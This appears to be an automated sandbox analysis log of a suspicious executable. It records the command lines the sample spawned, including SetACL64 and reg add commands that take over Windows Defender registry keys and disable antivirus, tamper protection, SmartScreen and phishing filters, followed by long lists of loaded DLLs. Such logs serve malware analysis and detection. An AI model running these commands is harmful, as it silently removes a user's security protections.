Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" -ot reg -actn ace -ace "n:Administrators;p:full"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn setowner -ownr "n:Administrators"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\Signature Updates" -ot reg -actn ace -ace "n:Administrators;p:full"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn setowner -ownr "n:Administrators"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\SetACL64.exe SetACL64 -on "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" -ot reg -actn ace -ace "n:Administrators;p:full"Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender" /v "DisableAntiVirus" /t reg_DWORD /d "1" /fJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtection" /t reg_DWORD /d "4" /fJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v "TamperProtectionSource" /t reg_DWORD /d "2" /fJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\UX Configuration" /v "DisablePrivacyMode" /t reg_DWORD /d "1" /fJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t reg_DWORD /d "0" /fJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SYSTEM\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t reg_DWORD /d "0" /fJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontOfferThroughWUAU" /t reg_DWORD /d 1 /fJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\MRT" /v "DontReportInfectionInformation" /t reg_DWORD /d 1 /fJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\RemovalTools\MpGears" /v "SpyNetReportingLocation" /t reg_DWORD /d 0 /fJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\System" /v "EnableSmartScreen" /t reg_DWORD /d 0 /fJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /fJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\MicrosoftEdge\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /fJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "EnabledV9" /t reg_DWORD /d 0 /fJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer\PhishingFilter" /v "PreventOverride" /t reg_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\SOFTWARE\Policies\Microsoft\Edge" /v "SmartScreenEnabled" /t reg_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "SmartScreenEnabled" /t reg_SZ /d "Off" /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "EnableWebContentEvaluation" /t reg_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\AppHost" /v "PreventOverride" /t reg_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_EdgeSmartScreenOff" /t REG_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AppAndBrowser_StoreAppsSmartScreenOff" /t reg_DWORD /d 0 /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKCU\Software\Microsoft\Windows Security Health\State" /v "AccountProtection_MicrosoftAccount_Disconnected" /t REG_DWORD /d 1 /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v "RandomizeScheduleTaskTimes" /t reg_DWORD /d "0" /f
Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exeProcess created: unknown unknown
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeSection loaded: userenv.dllJump to behavior
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeSection loaded: propsys.dllJump to behavior
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeSection loaded: dwmapi.dllJump to behavior
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeSection loaded: oleacc.dllJump to behavior
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeSection loaded: shfolder.dllJump to behavior
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Users\user\Desktop\Auu2j0pT0B.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: ifmon.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: mprapi.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: rasmontr.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: rasapi32.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: fwpuclnt.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: rasman.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: mfc42u.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: rasman.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: authfwcfg.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: fwpolicyiomgr.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: firewallapi.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: fwbase.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: dhcpcmonitor.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: dot3cfg.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: dot3api.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: onex.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: eappcfg.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: ncrypt.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: eappprxy.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: ntasn1.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: fwcfg.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: hnetmon.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: netshell.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: nlaapi.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: netsetupapi.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: netiohlp.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: winnsi.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: nshhttp.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: httpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: nshipsec.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: activeds.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: polstore.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: winipsec.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: adsldpc.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: nshwfp.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: cabinet.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: p2pnetsh.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: p2p.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: rpcnsh.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: whhelper.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: wlancfg.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: wlanapi.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: wshelper.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: wevtapi.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: peerdistsh.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: wcmapi.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: rmclient.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: mobilenetworking.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: slc.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: sppc.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: ktmw32.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: mprmsg.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: ifmon.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: mprapi.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: rasmontr.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: rasapi32.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: fwpuclnt.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: rasman.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: mfc42u.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: rasman.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: authfwcfg.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: fwpolicyiomgr.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: firewallapi.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: fwbase.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: dhcpcmonitor.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: dot3cfg.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: dot3api.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: onex.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: eappcfg.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: ncrypt.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: eappprxy.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: ntasn1.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: fwcfg.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: hnetmon.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: netshell.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: nlaapi.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: netsetupapi.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: netiohlp.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: dhcpcsvc.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: winnsi.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: nshhttp.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: httpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: nshipsec.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: userenv.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: activeds.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: polstore.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: winipsec.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: adsldpc.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: adsldpc.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: nshwfp.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: cabinet.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: p2pnetsh.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: p2p.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: profapi.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: rpcnsh.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: whhelper.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: winhttp.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: wlancfg.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: wlanapi.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: wshelper.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: wevtapi.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: mswsock.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: peerdistsh.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: wcmapi.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: rmclient.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: mobilenetworking.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: slc.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: sppc.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: gpapi.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: ktmw32.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: mprmsg.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: wldp.dllJump to behavior
Source: C:\Windows\SysWOW64\netsh.exeSection loaded: msasn1.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeSection loaded: cabinet.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeSection loaded: clusapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeSection loaded: feclient.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx40_Full_setup.exeSection loaded: iertutil.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: apphelp.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: acgenral.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: uxtheme.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: winmm.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: samcli.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: msacm32.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: version.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: userenv.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: dwmapi.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: urlmon.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: mpr.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: sspicli.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: winmmbase.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: winmmbase.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: iertutil.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: srvcli.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: netutils.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: setupengine.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: msi.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: winhttp.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: secur32.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: sqmapi.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: msasn1.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: windows.storage.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: wldp.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: profapi.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: kernel.appcore.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\6231e956ee22143d5ce90e\Setup.exeSection loaded: msxml3.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeSection loaded: apphelp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeSection loaded: cabinet.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeSection loaded: version.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeSection loaded: clusapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeSection loaded: dnsapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeSection loaded: iphlpapi.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeSection loaded: cryptsp.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeSection loaded: rsaenh.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeSection loaded: cryptbase.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeSection loaded: ntmarta.dllJump to behavior
Source: C:\Users\user\AppData\Local\Temp\nsx4F86.tmp\dotNetFx45_Full_setup.exeSection loaded: feclient.dllJump to behavior
